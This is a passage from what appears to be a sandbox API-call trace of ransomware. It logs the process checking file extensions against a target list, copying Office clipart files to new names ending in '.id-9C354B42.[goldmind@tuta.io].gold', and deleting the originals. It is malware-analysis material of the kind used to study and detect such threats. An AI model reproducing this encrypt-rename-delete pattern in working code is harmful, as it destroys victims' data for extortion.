Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0107.437] lstrlenW (lpString=".dbf") returned 4 [0107.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0107.437] lstrlenW (lpString=".1cd") returned 4 [0107.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0107.437] lstrlenW (lpString=".jpg") returned 4 [0107.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0107.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0107.437] lstrlenW (lpString=".doc") returned 4 [0107.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.437] lstrlenW (lpString=".docx") returned 5 [0107.437] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0107.437] lstrlenW (lpString=".pdf") returned 4 [0107.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.437] lstrlenW (lpString=".xls") returned 4 [0107.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.437] lstrlenW (lpString=".xlsx") returned 5 [0107.437] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0107.437] lstrlenW (lpString=".ppt") returned 4 [0107.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0107.437] lstrlenW (lpString=".zip") returned 4 [0107.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.437] lstrlenW (lpString=".rar") returned 4 [0107.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.437] lstrlenW (lpString=".bz2") returned 4 [0107.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.437] lstrlenW (lpString=".7z") returned 3 [0107.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0107.437] lstrlenW (lpString=".dbf") returned 4 [0107.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0107.437] lstrlenW (lpString=".1cd") returned 4 [0107.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0107.437] lstrlenW (lpString=".jpg") returned 4 [0107.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.438] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.438] lstrlenW (lpString="J0107282.WMF") returned 12 [0107.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.438] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=14132) returned 1 [0107.438] CloseHandle (hObject=0x230) returned 1 [0107.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf")) returned 0x20 [0107.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.439] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.439] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0107.439] GetLastError () returned 0x0 [0107.439] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x3734, lpOverlapped=0x0) returned 1 [0107.449] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x3740, lpOverlapped=0x0) returned 1 [0107.450] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.450] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.450] SetEndOfFile (hFile=0x180) returned 1 [0107.450] CloseHandle (hObject=0x180) returned 1 [0107.450] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.450] SetEndOfFile (hFile=0x230) returned 1 [0107.452] CloseHandle (hObject=0x230) returned 1 [0107.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.452] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf")) returned 1 [0107.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0107.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0107.453] lstrlenW (lpString=".doc") returned 4 [0107.453] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.453] lstrlenW (lpString=".docx") returned 5 [0107.453] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0107.453] lstrlenW (lpString=".pdf") returned 4 [0107.453] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.453] lstrlenW (lpString=".xls") returned 4 [0107.453] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.453] lstrlenW (lpString=".xlsx") returned 5 [0107.453] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0107.453] lstrlenW (lpString=".ppt") returned 4 [0107.453] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0107.453] lstrlenW (lpString=".zip") returned 4 [0107.453] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.453] lstrlenW (lpString=".rar") returned 4 [0107.453] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.453] lstrlenW (lpString=".bz2") returned 4 [0107.453] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.453] lstrlenW (lpString=".7z") returned 3 [0107.453] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0107.453] lstrlenW (lpString=".dbf") returned 4 [0107.454] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0107.454] lstrlenW (lpString=".1cd") returned 4 [0107.454] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0107.454] lstrlenW (lpString=".jpg") returned 4 [0107.454] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0107.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0107.454] lstrlenW (lpString=".doc") returned 4 [0107.454] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.454] lstrlenW (lpString=".docx") returned 5 [0107.454] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0107.454] lstrlenW (lpString=".pdf") returned 4 [0107.454] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.454] lstrlenW (lpString=".xls") returned 4 [0107.454] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.454] lstrlenW (lpString=".xlsx") returned 5 [0107.454] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0107.454] lstrlenW (lpString=".ppt") returned 4 [0107.454] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0107.454] lstrlenW (lpString=".zip") returned 4 [0107.454] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.454] lstrlenW (lpString=".rar") returned 4 [0107.454] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.454] lstrlenW (lpString=".bz2") returned 4 [0107.454] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.454] lstrlenW (lpString=".7z") returned 3 [0107.454] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0107.454] lstrlenW (lpString=".dbf") returned 4 [0107.454] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0107.454] lstrlenW (lpString=".1cd") returned 4 [0107.454] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0107.454] lstrlenW (lpString=".jpg") returned 4 [0107.454] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.454] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.454] lstrlenW (lpString="J0107288.WMF") returned 12 [0107.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.455] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=13436) returned 1 [0107.455] CloseHandle (hObject=0x230) returned 1 [0107.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf")) returned 0x20 [0107.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.455] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.455] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0107.456] GetLastError () returned 0x0 [0107.456] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x347c, lpOverlapped=0x0) returned 1 [0107.623] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x3480, lpOverlapped=0x0) returned 1 [0107.624] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.624] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.624] SetEndOfFile (hFile=0x180) returned 1 [0107.624] CloseHandle (hObject=0x180) returned 1 [0107.624] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.624] SetEndOfFile (hFile=0x230) returned 1 [0107.626] CloseHandle (hObject=0x230) returned 1 [0107.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf")) returned 1 [0107.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0107.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0107.701] lstrlenW (lpString=".doc") returned 4 [0107.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.701] lstrlenW (lpString=".docx") returned 5 [0107.701] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0107.701] lstrlenW (lpString=".pdf") returned 4 [0107.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.701] lstrlenW (lpString=".xls") returned 4 [0107.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.702] lstrlenW (lpString=".xlsx") returned 5 [0107.702] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0107.702] lstrlenW (lpString=".ppt") returned 4 [0107.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0107.702] lstrlenW (lpString=".zip") returned 4 [0107.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.702] lstrlenW (lpString=".rar") returned 4 [0107.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.702] lstrlenW (lpString=".bz2") returned 4 [0107.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.702] lstrlenW (lpString=".7z") returned 3 [0107.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0107.702] lstrlenW (lpString=".dbf") returned 4 [0107.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0107.702] lstrlenW (lpString=".1cd") returned 4 [0107.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0107.702] lstrlenW (lpString=".jpg") returned 4 [0107.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0107.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0107.702] lstrlenW (lpString=".doc") returned 4 [0107.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.702] lstrlenW (lpString=".docx") returned 5 [0107.702] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0107.702] lstrlenW (lpString=".pdf") returned 4 [0107.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.702] lstrlenW (lpString=".xls") returned 4 [0107.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.702] lstrlenW (lpString=".xlsx") returned 5 [0107.702] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0107.702] lstrlenW (lpString=".ppt") returned 4 [0107.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0107.702] lstrlenW (lpString=".zip") returned 4 [0107.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.702] lstrlenW (lpString=".rar") returned 4 [0107.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.702] lstrlenW (lpString=".bz2") returned 4 [0107.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.702] lstrlenW (lpString=".7z") returned 3 [0107.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0107.702] lstrlenW (lpString=".dbf") returned 4 [0107.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0107.702] lstrlenW (lpString=".1cd") returned 4 [0107.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0107.702] lstrlenW (lpString=".jpg") returned 4 [0107.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.703] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.703] lstrlenW (lpString="J0107344.WMF") returned 12 [0107.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0107.703] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=5076) returned 1 [0107.703] CloseHandle (hObject=0x3a8) returned 1 [0107.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf")) returned 0x20 [0107.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0107.704] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.704] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.704] GetLastError () returned 0x0 [0107.704] ReadFile (in: hFile=0x3a8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x13d4, lpOverlapped=0x0) returned 1 [0107.710] WriteFile (in: hFile=0x3cc, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x13e0, lpOverlapped=0x0) returned 1 [0107.711] ReadFile (in: hFile=0x3a8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.711] WriteFile (in: hFile=0x3cc, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.711] SetEndOfFile (hFile=0x3cc) returned 1 [0107.711] CloseHandle (hObject=0x3cc) returned 1 [0107.711] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.711] SetEndOfFile (hFile=0x3a8) returned 1 [0107.714] CloseHandle (hObject=0x3a8) returned 1 [0107.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf")) returned 1 [0107.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0107.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0107.715] lstrlenW (lpString=".doc") returned 4 [0107.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.715] lstrlenW (lpString=".docx") returned 5 [0107.715] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0107.715] lstrlenW (lpString=".pdf") returned 4 [0107.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.715] lstrlenW (lpString=".xls") returned 4 [0107.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.715] lstrlenW (lpString=".xlsx") returned 5 [0107.715] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0107.715] lstrlenW (lpString=".ppt") returned 4 [0107.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0107.715] lstrlenW (lpString=".zip") returned 4 [0107.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.715] lstrlenW (lpString=".rar") returned 4 [0107.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.715] lstrlenW (lpString=".bz2") returned 4 [0107.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.715] lstrlenW (lpString=".7z") returned 3 [0107.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0107.715] lstrlenW (lpString=".dbf") returned 4 [0107.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0107.715] lstrlenW (lpString=".1cd") returned 4 [0107.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0107.715] lstrlenW (lpString=".jpg") returned 4 [0107.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0107.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0107.715] lstrlenW (lpString=".doc") returned 4 [0107.716] lstrcmpiW 